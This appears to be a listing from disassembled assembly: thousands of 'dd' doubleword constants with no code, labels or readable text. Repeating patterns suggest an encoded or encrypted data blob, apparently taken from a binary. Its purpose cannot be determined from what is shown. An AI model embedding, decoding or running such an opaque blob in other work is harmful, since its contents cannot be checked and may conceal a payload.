		dd 0CC1A8836h, 0D6044D1Fh, 0A4B13237h, 2FD13256h, 0ADB99C98h
		dd 0CA11863Dh, 6CD13256h, 0F8FAF17Ah, 7AB13237h, 0BAB122DDh
		dd 57363D56h, 47B13256h, 57B13253h, 0B67C269Ch,	29B132EEh
		dd 8CD13256h, 0DF95FBD7h, 0DB7BB930h, 5DA4BA59h, 0BE583256h
		dd 7FB13256h, 0B759DBE2h, 0F8388431h, 2203BF54h, 75037EA5h
		dd 0BF353D56h, 3DB13256h, 0CF79B930h, 45583256h, 8B13256h
		dd 0D6E987B6h, 0C6CFB895h, 4FB6E88Dh, 546AD21Fh, 3DB13289h
		dd 543A52AAh, 0DF6EB330h, 0ABD05341h, 0D5BCDB56h, 5B893256h
		dd 73BEDA8h, 28030DBEh
		dd 5DD96A62h, 0B6353D56h, 37B13256h, 0ABB123BFh, 31D4FF56h
		dd 2C152FB7h, 0A87A7584h, 7B484B56h, 5DD0377Dh,	0AE49C756h
		dd 57B1CA56h, 0ABBBB959h, 5FD13256h, 0EA353D9Eh, 14B13256h
		dd 0BD583256h, 96B13256h, 65443F18h, 57B177FDh,	0ABB0BC59h
		dd 0D5493256h, 0EAB1CB56h, 75BCB859h, 0B2583256h, 42B13256h
		dd 6B3ECA55h, 0BE312C55h, 0ABB13247h, 0E79B12FAh, 0D1208F7h
		dd 73636D62h, 59B20A7Ch, 3DB132C1h, 104E8D59h, 4856DD14h
		dd 5EB13237h, 2D483256h, 0E5D13256h, 75B130D2h,	31EE6556h
		dd 0DDD15391h, 0AED010BFh, 563D3D56h, 5EB13256h, 0B5B132AFh
		dd 0EAB7B759h, 96303256h, 0A08984F7h, 3DB13237h, 473194E4h
		dd 57B1534Bh, 0ABB139BFh, 0A2856D56h, 0AFAAA1AEh, 87656403h
		dd 0B1583256h, 0BDB13256h, 54DDB548h, 3EAFD8C0h, 0ABB148C6h
		dd 0B5B132A3h, 0EAD090E4h, 75B8DB56h, 0FBC73256h, 9198BAFh
		dd 0AE1C6714h, 57BDDB56h, 3F693256h, 0CC8DD443h, 5CFFE001h
		dd 75B1E584h, 0BAA3B959h, 0B4D13256h, 0AEB1325Fh, 68991E73h
		dd 4FA708A4h, 0B4D0528Eh, 0E5D13256h, 75B124DDh, 0BAA0DB56h
		dd 45063256h, 0B84298ACh, 0DEAFB835h, 6FDBEF93h, 54C3557Eh
		dd 5D40CABEh, 75B15372h, 0B5B132AEh, 5DB136D3h,	0F4005256h
		dd 0AEB13237h, 23BE3256h, 0D5B1325Ah, 0EAB7BA59h, 0FABE3256h
		dd 0BAB13256h, 5B583256h, 88B13256h, 9E3C712Dh,	0CBB13294h
		dd 2F3A5436h, 0EAB1B859h, 9CD03256h, 0BAB13246h, 5D2BC9C7h
		dd 51232D4Ah, 4B8BD2B4h, 0BDF6454Fh, 0B5B13237h, 86D8830h
		dd 15B13237h, 0BAB153A3h, 5DB121BFh, 53BF9256h,	0C79A6444h
		dd 0E361845Ah, 5D9F9278h, 1ED1612h, 754D3256h, 0A3373D56h
		dd 0B4B13256h, 0AEB13242h, 9E0DAFA8h, 8F824F05h, 0C6CC418Bh
		dd 0BCDCC06Eh, 76FEA74Ah, 3CBE3256h, 5DB1325Ah,	0AEB7B559h
		dd 0D3BE3256h, 0ABB13256h, 59BE3256h, 0EAB1325Eh, 0AC305436h
		dd 0DB482EAFh, 5A583256h, 0E9B13256h, 4F0492ADh, 0BB58603Eh
		dd 4CB13256h, 1455AE20h, 0AB2891C2h, 0D8909E5Dh, 5D189E05h
		dd 0AEBBDB56h, 79993256h, 46992896h, 0B2D671E3h, 0EAB123BFh
		dd 10BB8356h, 0F4686A2Dh, 94AC1625h, 0B5BCFEE4h, 57B1A359h
		dd 0ABB137BFh, 0F81D8556h, 0EA493551h, 723C3D56h, 0DAB13256h
		dd 3D76B930h, 0AEB15337h, 57B9B159h, 2ABE3256h,	0D5B13254h
		dd 0EAB15336h, 653E3D36h, 52B13256h, 5DB1325Ch,	46E18D2Eh
		dd 7A26997Bh, 0CDEB0CC6h, 0D5D0F8DDh, 0EB3C3D56h, 89B13256h
		dd 464D3256h, 5DA1DB36h, 30803256h, 0C98E9662h,	9D2AC2ACh
		dd 0CA82ACC0h, 0EA59EF35h, 2FB13256h, 13F1D8D7h, 4D583440h
		dd 0A3B13256h, 0D5CEFB56h, 18F80DD3h, 6F1CADD0h, 8A644FC3h
		dd 75B137BEh, 0F5B09D56h, 0E3D76169h, 15EA8ED3h, 6170AB75h
		dd 9A34BF37h, 2DB727CCh, 0EAA1BB59h, 7E583256h,	10B13256h
		dd 0BEDD2C21h, 66A92718h, 0D538EA6Fh, 0ADA7A0BFh, 32305436h
		dd 68BEC166h, 75B13254h, 37D05336h, 4AC91DD4h, 2C38C750h
		dd 51A7A15Ch, 9C5ADAAAh, 0DAD13256h, 0EAB136DAh, 4A0E5456h
		dd 0BB3A3D1Bh, 0A4B13256h, 0AC62DA37h, 5E583256h, 13B13256h
		dd 68C5B689h, 0E3D76401h, 75ADBB59h, 4D13256h, 5EC58EF9h
		dd 0AEB13DBEh, 0E28F5F56h, 87264600h, 0C6420F14h, 77991800h
		dd 0F776530Eh, 0BCA7A3A8h, 5DB13256h, 0AEB0B659h, 5493256h
		dd 4E34F4A3h, 83B72275h, 0E30F5436h, 5159B22Ah,	2E35A37h
		dd 0A24DAEFEh, 0BEAC77E3h, 5D363D50h, 0CBB13256h, 6E99F5D6h
		dd 0DAE9B05Ah, 0FF34BF37h, 4FB721D3h, 5261CDAAh, 0AEB13ED8h
		dd 513F3D56h, 0A4B13256h, 0D5B132D3h, 0EB34BB56h, 15B72249h
		dd 53AADAD6h, 5DB1325Bh, 0A26F92A8h, 2AEFA352h,	1B21CD46h
		dd 0D1DB5360h, 0EAB120BFh, 739E1456h, 0D647C9FBh, 2F09532Dh
		dd 2B7CDE68h, 3FBCB826h, 0ABB12256h, 5ED76136h,	5EE06AA4h
		dd 1DD06A9Eh, 0BAB23F16h, 6D47B336h, 0C8C7C069h, 36BB2FE8h
		dd 0CBD1323Ch, 0D5B122BFh, 0C9A97456h, 0AD21319h, 0CEA6E1EAh
		dd 0DDD664F0h, 0CFB782A4h, 57B139BFh, 0D7B18856h, 0D33334ACh
		dd 0EB2CA70Ch, 1561CD37h, 0BAB13DBFh, 0AECCA156h, 4BD12E85h
		dd 8B29B59Ch, 0D91A501Fh, 1E0E3D01h, 0E5EB530Ch, 75B135DFh
		dd 0BB3B3D56h, 0A4B13256h, 2ABEF25Dh, 57B13325h, 7D305436h
		dd 5CD0D114h, 0FC20CCD4h, 0F738CE50h, 0BCA7A072h, 5DB126BFh
		dd 0F2B456h, 94C2C94Eh,	0BB3E2F6Ch, 249ACF27h, 11E63AA6h
		dd 72585246h, 0F2B13256h, 7830F1C6h, 25D77D51h,	170853AFh
		dd 0A4B1315Bh, 0D5B133D9h, 123ACA56h, 0FD5BB336h, 5385F4E5h
		dd 5DB1325Ah, 2765F163h, 2AA4E7B5h, 0A7744C03h,	0D5A5DB37h
		dd 32473256h, 94AEB36Bh, 247CD50h, 5F1F3F67h, 0CB5E4706h
		dd 9782C498h, 0ABBBB359h, 5FD13256h, 0EA343DAFh, 14B13256h
		dd 3ABE98A5h, 5DB13257h, 0A20052AFh, 0D9BE6037h, 0ABB1324Bh
		dd 0D5A6B359h, 0F8583256h, 91B13256h, 0CE75047Fh, 47F40C2Bh
		dd 0E158C7ADh, 0B582241h, 57B558E8h, 0D5A1323Eh, 0FF3B3D56h
		dd 15B13256h, 0BAB13EBFh, 376D1156h, 2729B8DBh,	0C7E9FED9h
		dd 0CAD052A5h, 0D5B5323Eh, 0ED323D56h, 15B13256h, 0DBE6B06h
		dd 4D5853A6h, 9AB13256h, 79A97975h, 8EA09DA6h, 8AF69441h
		dd 803F70D9h, 893B5256h, 0BAB7B359h, 0D6BE3256h, 0AEB13256h
		dd 5623CD37h, 57B72249h, 0D5B0B559h, 0B0493256h, 75BDB859h
		dd 31BE3256h, 5DB13250h, 0AEB1B959h, 0DE483256h, 0BD246AD4h
		dd 0C03D3D50h, 0E5B13256h, 75B13DD4h, 0BABBDB56h, 700B3256h
		dd 5FFA2823h, 0FD6D5146h, 0ABB13CBFh, 0EE81FF56h, 0BCEC828Bh
		dd 0BB4EFCDAh, 0DB928A3Eh, 5DB134BFh, 737BC956h, 0DC0628DFh
		dd 0BD20CCD3h, 62BE5250h, 0D54A8889h, 0B6D0253Eh, 7D4452AEh
		dd 4DBAA7D4h, 0EEB13250h, 503B3D56h, 0A4B13256h, 0D5B133DAh
		dd 6876CA56h, 73A11BA7h, 0BAB12256h, 5DB13EBFh,	25609256h
		dd 0CEDA4458h, 6D779200h, 5EBE534Ah, 0EAB1325Eh, 75B3B759h
		dd 0DBD13256h, 45383D95h, 0A1B13256h, 57B120D5h, 0ABBCDB56h
		dd 47233256h, 3D50AC82h, 9642AEEh, 0DA7B8F2Fh, 5DBEB459h
		dd 0A4583256h, 6DB13256h, 2F6AF459h, 8BDA8F36h,	140BB901h
		dd 8CB724C7h, 0B5B10DD5h, 5DB197D2h, 0AEBBDB56h, 2AEE3256h
		dd 6FC06BF1h, 0E05BD5FFh, 0E8A14DD5h, 758AB659h, 32BE3256h
		dd 5DB13257h, 0BECEB1A3h, 5353D52h, 0A4B13256h,	0D5B133DFh
		dd 2D32CA56h, 75B8DB42h, 7A063256h, 19064ADBh, 47CE9923h
		dd 0A84ECDE6h, 0ABB6BD59h, 50BE3256h, 0EAB13257h, 65F6F5AFh
		dd 0BAB13257h, 520B5436h, 0AD313D77h, 31B13256h, 42D0F9DDh
		dd 2A4ECD94h, 0EAB13ABFh, 16565A56h, 1975F1F3h,	4DF6F55Fh
		dd 0AEB13255h, 8E063D36h, 2E43B330h, 4A585350h,	8A4ECDA9h
		dd 0CB13DEEh, 0BAB6DB1Fh, 0D9983256h, 6D45EB58h, 37D053D3h
		dd 0CA4DC3DDh, 6ED75295h, 55BE4B1Dh, 655853AFh,	0D1B13256h
		dd 0ECEAAA4Ah, 0B3D321E9h, 29AF8BF1h, 0FEFB300Eh, 0D5B13ABFh
		dd 0A4B34656h, 613A15B0h, 425DB9FAh, 4B353D36h,	0A1B13256h
		dd 57B122DCh, 0ABBADB56h, 94473256h, 5898BA2Fh,	57A673BAh
		dd 0BAB1DAC4h, 0DCEB3256h, 0B81F15BCh, 57BFDB50h, 0BD733256h
		dd 0F761022Ah, 0F87B9C53h, 45BD981Bh, 0BAA5DB36h, 0FFA93256h
		dd 7F7648DAh, 0AF539596h, 2892DE82h, 1DDBBBDBh,	61D09CCDh
		dd 632456E4h, 0B6303D50h
		dd 52B13256h, 0AEB134DAh, 57303D56h, 20B13256h,	5EBE3A13h
		dd 0EAB13257h, 89B7BBAEh, 38325336h, 5BA7A732h,	0CED0CE52h
		dd 57B138BFh, 213F2B56h, 6442A90Dh, 0E5026FF1h,	75B131D5h
		dd 8877B256h, 0D6BEFB37h, 0AEB13257h, 57B5F0A3h, 0ABA5DB36h
		dd 0EF313256h, 910DF6Ah, 8673B67Bh, 0FA965718h,	0CCDD269Dh
		dd 0CF443340h, 5759CB36h, 0F1B13256h, 7B65D8D7h, 2D13440h
		dd 75B1325Bh, 7441B564h, 64A23E8Dh, 9031F1D7h, 0A8063D04h
		dd 75063D09h, 0B3D1CB37h, 5FD9D5D7h, 75B4BF59h,	7C093256h
		dd 3C89C82Dh, 3BE980DDh, 0DCBE3440h, 0ABB1325Eh, 0D5393D36h
		dd 8BB13256h, 0E0D5806Dh, 3EBE3440h, 5DB13057h,	0AEB13FBFh
		dd 5E95C56h, 0D5ED9B1Dh, 4E0BC158h, 2D1F226h, 75B13244h
		dd 0A9D14891h, 0C971DA5Bh, 9B47200Bh, 8F647E1Ah, 16018B84h
		dd 0B462B909h, 61440CDDh, 0C3BECA89h, 0ED13319h, 3C46B94Dh
		dd 0AFF6C4AAh, 13343DD6h, 52B13256h, 0D5B0BE59h, 0E9493256h
		dd 75B9DB8Fh, 24313256h, 0ACE1ACA3h, 0E45893B9h, 0BEB13256h
		dd 0ABB13242h, 0D02A0759h, 0F001369Bh, 96D1D82Eh, 60847F4h
		dd 0DE8CA093h, 0AEB138BFh, 0A2267156h, 3FFA7D3Bh, 0FEBB5FE8h
		dd 0F03C3D8Fh, 7AB13256h, 0BAB126D0h, 5DBEDB56h, 0C1463256h
		dd 0DB2F0B70h, 0A2E66440h, 3334A1F4h, 0E5D171BAh, 75B131DFh
		dd 633A5456h, 5DB126BFh, 24489256h, 0B71F891Ah,	0AE874A80h
		dd 18AF142Ch, 0F4032159h, 0F8BE5377h, 0BAB13249h, 5DA8BC59h
		dd 0BA583256h, 23B13256h, 13702678h, 701AD904h,	0F40B7E0Dh
		dd 247B25EFh, 0F9EEE295h, 0DCEA6536h, 126999Fh,	0D23A530Eh
		dd 0ADA11FB3h, 0D5B138BFh, 0D91FFE56h, 0EC005F79h, 31F844BAh
		dd 4D996FDBh, 68315250h, 0E8BE6124h, 90D06880h,	0AE333D8Eh
		dd 0E5B13256h, 75B125DFh, 0B0595256h, 6FB13256h, 1AA62114h
		dd 895F4A88h, 2AD76DA4h, 0B444159Eh, 6DBEEB6Dh,	75B13200h
		dd 0BA333D36h, 0A5B13256h, 0AA77B137h, 5840B836h, 0ABB134D2h
		dd 0B751B356h, 8BDB9C19h, 8A4F49BFh, 3BD752A9h,	0E28AF784h
		dd 0A95A3074h, 0D6075237h, 0ABB138BEh, 0B5237456h, 6985C9ADh
		dd 9C0D92BAh, 0BAB13246h, 0F4A35C74h, 566BF003h, 57CE654Ah
		dd 1AB4351Dh, 1A8A530Fh, 0EAFAB659h, 61583256h,	0EB13256h
		dd 7B994FB0h, 0D412AD8Ah, 69D62602h, 482A19D9h,	5C6A4039h
		dd 0FA996FEBh, 75B9DB50h, 0B5BB3256h, 47599540h, 5758B616h
		dd 0BE4ECDABh, 0ABB13242h, 188AF2C3h, 359C263Ch, 300E61B5h
		dd 91BB65D7h, 0E84F5502h, 0AB5853AFh, 0BFB13256h, 0DB4B2C0Bh
		dd 0D4393D95h, 1FB13256h, 75A1DB36h, 0B18F3256h, 0B149F81Ah
		dd 209D1191h, 33E75791h, 0AB59F678h, 8FB13256h,	5BE9D8D7h
		dd 9DD13440h, 0BAB13253h, 59487086h, 0AEB7DA7Ah, 40063256h
		dd 0EA705D1Eh, 5ED76A0Fh, 0FA5853ADh, 0B4B13256h, 0B7761423h
		dd 292E25A2h, 2BF479F8h, 0DC31E4EEh, 0BD246AECh, 0DE323D50h
		dd 8AB13256h, 0F4778559h, 0BA5CCB8Ch, 0DDD1530Ah, 23BEC198h
		dd 57B13253h, 0C9498FE8h, 0D5085338h, 3B13257h,	75B1325Eh
		dd 5A6F1E85h, 0BE39D130h, 0CED1F265h, 0E7C68A30h, 0ABB13DBEh
		dd 75D60456h, 60DDC537h, 56CFB9B7h, 30BA9EC3h, 3C485308h
		dd 0A1D199A5h, 57B122DAh, 0ABBADB56h, 5F6F3256h, 0CC91AA5Dh
		dd 587F1812h, 4D3A5457h, 0D6D75237h, 5F3A5489h,	0F33B937h
		dd 0A4B724C3h, 0D5B135DBh, 0EB3A3D56h, 8CB13256h, 0BAB0BA59h
		dd 0D44D3256h, 0B82456D4h, 57A1DB50h, 7B403256h, 2C23FB6Bh
		dd 71F44B62h, 778AED63h, 43D0384Dh, 463A3D95h, 0CEB13256h
		dd 57B13CBFh, 1824CA56h, 0FFEECE44h, 0A82BDF01h, 7AB9473Dh
		dd 0BAB132DEh, 3DD15356h, 0CF768559h, 57B132BEh, 41306856h
		dd 0D3A78024h, 0EABBDB36h, 0D6813256h, 2C493603h, 30AEEF8Eh
		dd 0CFEADCD6h, 57B7DB36h, 133256h, 864A0A64h, 0EAB120BEh
		dd 0CB505556h, 9B244446h, 0A44133Fh, 0C326D908h, 0D641E5BFh
		dd 0E0FBA78Eh, 2DD06C2Eh, 0C954B790h, 8CE73446h, 0A5DC0B3Eh
		dd 533C3D82h, 47B13256h, 57B1325Fh, 32D209F8h, 385D6C48h
		dd 0E75852C7h, 0E6B13256h, 513B8C2Dh, 36ED9655h, 9483DFE9h
		dd 0A8D0CADDh, 0BBAC77E3h, 163A5250h, 0EAB13EBEh, 1F204A56h
		dd 0CDD5136h, 0FAD5E726h, 6740B340h, 0CB8AFB0h,	2134BF37h
		dd 0DAB721D3h, 0EAB134DEh, 7A4D5256h, 45D0C2E1h, 0B4E3CE86h
		dd 0AEB1325Ch, 9419ECF2h, 2E5B258Fh, 0B5E165C1h, 8CEBCA06h
		dd 14DBA5EEh, 0BA31323Eh, 49585256h, 0B1B13256h, 0FE1BA9h
		dd 0FAA3946Eh, 85423E6Dh, 3BD080EAh, 9C53340Ch,	0BAB1325Fh
		dd 0E4E394AEh, 0AEEC5085h, 57DB53AFh, 0ABB13BBFh, 0C97F1956h
		dd 0EE8E23Bh, 0C74ECCF3h, 0BCA7A3A8h, 5DB121BFh, 0F1F95556h
		dd 0EEB7B1D0h, 0C9186BB9h, 49C7AB1Dh, 4925CCB2h, 0FABEE2A9h
		dd 0BAB1325Dh, 0CF51B236h, 0AEB1BA59h, 0FD03256h, 0ABBFB659h
		dd 0DC583256h, 0FAB13256h, 7438C0EAh, 83CE3437h, 3B495236h
		dd 0CF5481ECh, 57B122BFh, 5DEC2256h, 0F0606018h, 9AC6AE81h
		dd 8BE1777Ah, 0DAEB533Eh, 3B12EDD7h, 0C6D055BFh, 57B1B256h
		dd 52063D36h, 0DB5853AAh, 3B13256h, 4404994Dh, 6B966ED6h
		dd 878999F6h, 0A1B15810h, 57B13EDFh, 0AD373D56h, 0DAB13256h
		dd 0EAB132D4h, 2D03CD56h, 0DAB724C3h, 5DB123BFh, 0F15B8356h
		dd 5469BE5Eh, 0E4956715h, 0CF2A26CEh, 15D003A7h, 13495286h
		dd 0DBD909EFh, 136AB236h, 0AEB138BFh, 1267C56h,	907F22F0h
		dd 0B4E23095h, 1372C737h, 993ACB03h, 5BEC736h, 0A4D153AFh
		dd 0AEB132BEh, 0BD306856h, 0ADA78638h, 0D5B13ABFh, 7FD1DE56h
		dd 0C4843Dh, 0BABCDB24h, 59DC3256h, 9CE86486h, 0F5BFCD58h
		dd 20C44DA4h, 59BE3A23h, 0EAB1325Eh, 75B3B059h,	0DBD13256h
		dd 5DBE34BEh, 47E4C756h, 57B1325Ch, 3DCE0F40h, 24580D33h
		dd 784E7BF0h, 73A7A0BFh, 3CBE6FAEh, 5DB13257h, 0A2C409AFh
		dd 0A863B759h, 5E48CDA9h, 0D5BFE4BEh, 20305256h, 1297AEC3h
		dd 0B5D15337h, 5DB134DAh, 0AE353D56h, 31B13256h, 62D0C9DDh
		dd 0E870B336h, 60807D79h, 0B74853B3h, 0AA58325Eh, 0B7B13256h
		dd 86F32B37h, 5C956333h, 9FFBCC74h, 80D9D8E6h, 0EAB123BFh
		dd 25681056h, 0A9AD66F4h, 9C21645Fh, 16B03C4Ah,	5E583144h
		dd 8AB13256h, 0C700B6DCh, 0ECCCFE54h, 7AD1DEDDh, 0BAB132DCh
		dd 9E063D56h, 5275B137h, 57A0B159h, 42D13256h, 0D5B1325Eh
		dd 0D3CD279Ch, 2CAB4172h, 0ECD0F3DDh, 8E305436h, 663AA499h
		dd 58D16537h, 0ABB132DFh, 0D6353D56h, 0E5B13256h, 26D0FBE9h
		dd 0BAB1DAAFh, 0DCEB3256h, 0B804B5BCh, 56343D50h, 5EB13256h
		dd 0D5A2BB59h, 0E4583256h, 5BB13256h, 0FD1B04C1h, 0ACE91105h
		dd 400CC731h, 5FC4B99Fh, 0BBCCB9AEh, 0D5B138BFh, 0B15D7E56h
		dd 828BEF83h, 0ED40D229h, 5DB121BFh, 0DFD60F56h, 21E3175Ch
		dd 2C86BAF1h, 0D0165BE9h, 3BF59147h, 75A3DB00h,	522F3256h
		dd 24CCF2Dh, 0C16FA773h, 1766CB51h, 0A5F294CDh,	0D5B04BBEh
		dd 2ABACB56h, 7575B659h, 31483256h, 0B4E4CBAEh,	0AEB1325Ch
		dd 0A85E1D13h, 0F47CDC2Fh, 474EE623h, 0ECA7A0BFh, 0F1BE6136h
		dd 0BAB13256h, 2E52B20Ch, 0A1D16F37h, 57B13FDBh, 0ABB6DA56h
		dd 0F46C3256h, 54F63DF7h, 0F4D76A68h, 0DB5285B9h, 52BD476Dh
		dd 0AEB14BD2h, 0DCD7C756h, 0AA3C3D48h, 29B13256h, 1341D5D6h
		dd 75B121BFh, 2EC96656h
		dd 0FF794923h, 0A802FB0Ah, 7E7C5A3Fh, 9F6AA45Bh, 0DF582CDCh
		dd 32B13256h, 444FF904h, 19573CDh, 0AD52B250h, 0AEB122BFh
		dd 7F6D9B56h, 0B2023899h, 67D4A8Ah, 3C1E6DF1h, 5230DAEBh
		dd 0D13256h, 8F595C3h, 2774F8D7h, 0BED0757Ah, 544ECD59h
		dd 0D5B13FBFh, 4A8C0356h, 49B14831h, 51AA1B45h,	2038FE04h
		dd 0AEBEDBAAh, 59F43256h, 0F6B76D9Eh, 41A4E00Ah, 72E87E46h
		dd 8390DAB8h, 0B458CDA9h, 30B13256h, 3F43860Dh,	50074FEAh
		dd 0FF0EEE10h, 61D1698Dh, 193A5477h, 75B4DB37h,	2C013256h
		dd 276AD36h, 0AEA1BE59h, 0D8BE3256h, 0ABB1325Ch, 0D5B137BFh
		dd 56524856h, 8CEF1F81h, 0BAA7B959h, 0B5D13256h, 0AEB1325Fh
		dd 0DAB73D2Ch, 0F836D938h, 54D76A35h, 8B5C9FB9h, 7A4D77DDh
		dd 0BAB135D3h, 5C333D56h, 56B13256h, 0D6BE529Fh, 0ABB13254h
		dd 54BEEADDh, 0EAB13254h, 7AD0FDDDh, 0BAB133D9h, 5173CA56h
		dd 60305256h, 77E83279h, 0CBE453AFh, 0C75A8BAEh, 8AD0357Dh
		dd 75B4BE59h, 3BD73256h, 3BEC26A0h, 0E85DC3D7h,	0A25DB937h
		dd 5249F6D5h, 0D5B9DB01h, 574E3256h, 0CE5E776h,	0A958FD73h
		dd 2BB13256h, 3CCF2AEDh, 2A32E19Eh, 902DC935h, 15655EFFh
		dd 3E7CE96h, 75B1325Dh,	0E0D96269h, 8FECE631h, 0FFB0B8DAh
		dd 57B0BD59h, 0CB443256h, 657BB930h, 12E2530Bh,	75497791h
		dd 43B13256h, 0C961B091h, 0AEB03440h, 0DEBE3256h, 0ABB13259h
		dd 0D5B138BFh, 33955D56h, 0B49CBC64h, 31109041h, 3BD13A23h
		dd 3A50C4D7h, 9C3A5436h, 0CAD05336h, 0DAAFB930h, 0EAB133DDh
		dd 0CF3ACE56h, 0BCA7A3A8h, 5DA4BE59h, 47D13256h, 57B1325Ah
		dd 78385691h, 97DC54A4h, 752BBA62h, 8DD0EDDDh, 0DAB96DDDh
		dd 3C7787A3h, 2ABEE95Dh, 57B132D5h, 0AD313D36h,	54B13256h
		dd 0BFD8A180h, 73333D24h, 3BB13256h, 0E4F95580h, 708A534Ch
		dd 578EB759h, 2CBE3256h, 0D5B1325Ah, 0EAB7B959h, 0F8BE3256h
		dd 0BAB13256h, 0A8BD6FDDh, 0AB3E3D36h, 31B13256h, 85FDC2D7h
		dd 8A3853AEh, 64BECA5Ah, 75B13247h, 5257B836h, 5DB13251h
		dd 0B12E1A5Ah, 80C5169h, 0BF76B137h, 2A37DBA3h,	68BECDA9h
		dd 75B13245h, 0BAB8DB36h, 0AE733256h, 0EE965718h, 58DD269Dh
		dd 0CDD0F8E1h, 0B5492CDDh, 0EAB138BEh, 68AAF956h, 672A9FF0h
		dd 0D6CA9B86h, 503A6DAEh, 0BF4AB237h, 0A82CB659h, 2CD13256h
		dd 7DCF8A36h, 0F4D72E7Bh, 0DB5CF68Fh, 0A631CE37h, 2A353DBFh
		dd 58B13255h, 0ABB13AD4h, 0D7383D56h, 8AB13256h, 9E4AB237h
		dd 0B9DCB659h, 0DABE3256h, 0AEB13241h, 57B120BFh, 0C4F71A56h
		dd 18D8169h, 2BA1CDC6h,	99B50BCAh, 3AA43765h, 0D9BED0ADh
		dd 0AEB13168h, 0B44AB2A3h, 0A8A6B659h, 5FBE3256h, 0EAB13257h
		dd 8E3054AEh, 3EBED131h, 5DB13174h, 0AF353D36h,	0AEB13256h
		dd 510E3D06h, 3231530Dh, 0F2333DA6h, 9CB13256h,	0BAB13245h
		dd 9E586306h, 0EBAD14BEh, 0D26F3996h, 5C988515h, 0B36CD372h
		dd 6ABEC9D7h, 7740B659h, 36BE3256h, 5DB1324Fh, 0AEB126BFh
		dd 0CB87C56h, 32521F46h, 0CDD25EC8h, 0C52E0AC0h, 8AF1698Fh
		dd 4A52B216h, 71B336h, 0C8FF482Ah, 37D0CCDDh, 0A4D146E5h
		dd 2131CAE1h, 6AD05389h, 0F1BE42ADh, 0BAB130F9h, 5DB121BFh
		dd 0ED547956h, 0F631FE01h, 0B6A600EEh, 4855A31Ch, 0C89C9B8Ch
		dd 9CAFB930h, 0BAB1325Ah, 4E325B15h, 0BA0C79F0h, 35853E38h
		dd 0CB49D1D6h, 6D4AB237h, 0EB74B659h, 9CD13256h, 0BAB13258h
		dd 6E327BB9h, 3861F604h, 62319216h, 7C308A60h, 90443D4Dh
		dd 0EF8FB237h, 7410B659h, 3AD13256h, 3BE3A3BBh,	0CFEAE5DDh
		dd 589C0CD6h, 0ABB0BCD2h, 6ABE5256h, 0EABADBADh, 23453256h
		dd 8D4433C3h, 91C2643Ch, 9031532Ah, 27353D3Eh, 42B13257h
		dd 0D5B1325Dh, 0ACA85F91h, 0CF7CB958h, 0DAC418E3h, 0A8638559h
		dd 7E33CD37h, 37B724C2h, 0ABA9B559h, 0C6583256h, 0BEB13256h
		dd 0CD6B301Eh, 0C7CF8FD3h, 0FBCFF6A6h, 64007EDEh, 31D0A67Dh
		dd 43D12CDDh, 0D5B13251h, 0B96F83CEh, 2287125Eh, 3BD76908h
		dd 3C4AA2B0h, 5B49D5D6h, 57B6B559h, 24BE3256h, 0D5B13257h
		dd 113054AEh, 0F1BEDAD7h, 0BAB132A9h, 5DB13EBFh, 5915DE56h
		dd 0A56CAF6Fh, 41743656h, 0CB3A54FDh, 1C0E3D36h, 14468559h
		dd 0B541D5D6h, 5DB13EDDh, 0A8383D56h, 58B13256h, 0ABB132D4h
		dd 2E305456h, 6EBEF2D7h, 75B13295h, 0BAB9B659h,	0D0BE3256h
		dd 0AEB13254h, 0D6BE5336h, 0ABB13257h, 0C45852AAh, 5DB13256h
		dd 0FC15EC9Eh, 0A2E9B645h, 95211523h, 8E2742F7h, 3141B936h
		dd 0A1A1E2D7h, 54BE6737h, 0EAB13251h, 75B0B359h, 45443256h
		dd 4B23DBC4h, 0A7393D50h, 37B13256h, 0CD0ECBEDh, 0B449B93Eh
		dd 0EAA5DB0Bh, 630F3256h, 4CBA8A56h, 0BE2D71AAh, 78596168h
		dd 20C09866h, 0EE380CF9h, 0DD333DAAh, 8AB13256h, 0CFD76A04h
		dd 0DBD00F73h, 5DB13DBFh, 412B4A56h, 26808626h,	3DB1E67Ah
		dd 4A1415A6h, 0EB4D4FD5h, 7462B759h, 52D13256h,	5DB13246h
		dd 68171630h, 69F22Ah, 0DE3CA55Dh, 14A6042Ch, 89410BE8h
		dd 0CED76871h, 31D0B5EBh, 4DBAA7ECh, 0AF393D50h, 0AEB13256h
		dd 293AC706h, 0D3A7A686h, 0EAA3B959h, 9CD13256h, 0BAB1325Fh
		dd 101F2C3Fh, 0A02F9938h, 36EF6085h, 53810E6Fh,	0AF333D0Eh
		dd 12B13257h, 5756B336h, 30F0612Eh, 0E73A539Eh,	0A8A11BA7h
		dd 0A665B236h, 0FBD06D05h, 0B5EE6236h, 8C42B930h, 14D0FCDDh
		dd 2E61B0DDh, 64443440h, 2ABE026Ah, 57B13257h, 24BE6AAEh
		dd 0D5B1336Bh, 0EAB138BFh, 6CA11556h, 0F0206A95h, 0B49FC4ABh
		dd 0AEB13271h, 0AFF4F5AEh, 0ABB13254h, 0D5BBBC59h, 8CD13256h
		dd 420EFCDDh, 0DB9F961Dh, 5DB138BFh, 0EB76CA56h, 57B133AEh
		dd 2049CA56h, 0C320CCECh, 6FBE5250h, 75B13254h,	31D0D6E6h
		dd 4D3A3D49h, 0A1B13256h, 57B138D5h, 0ABB4DB56h, 0A3013256h
		dd 0E1380723h, 0A7353D8Dh, 53B13256h, 5DB13245h, 660239F5h
		dd 0A55E5E9Ch, 0F0CB4A5Ch, 0CED6957Dh, 0D10E0B6Fh, 0C343D88h
		dd 4FB13256h, 52BD6FDDh, 0AEB124D1h, 57A0DB56h,	0C4993256h
		dd 4A6B3177h, 3733D5C7h, 3C410A67h, 39B9CB68h, 52B1CA2Bh
		dd 0AEB11AD2h, 0DCD75256h, 0ABA1DBAFh, 2F823256h, 46470965h
		dd 0F8AB8DB4h, 0B57047ECh, 5ED00131h, 0A858CA0Bh, 0DBB13256h
		dd 0A4DB6405h, 0D1EEBB20h, 0EAB120BFh, 0E5105A56h, 5EA0DE34h
		dd 5BB93B4Bh, 9226B676h, 5861D20Eh, 0ABB135D9h,	0D43A3D56h
		dd 1FB13256h, 7AA5F5D5h, 0BAB120D5h, 513B3D56h,	47B13256h
		dd 57B13251h, 5D8F8E2Ah, 3C3C38BFh, 154ECD71h, 897101AAh
		dd 0BAB5D6BFh, 5DBADB56h, 832B3256h, 0E5280D83h, 59BDBE2Ah
		dd 0CB3A54EFh, 0EAB120BFh, 0C5140C56h, 77D27D23h, 1BE6DF54h
		dd 0CCFD717Ah, 589D7686h, 0ABB13DD6h, 0D5BBDB56h, 60353256h
		dd 507824BFh, 0A1015989h, 0A1BD4FDDh, 0A15AC9D6h, 57B15CD2h
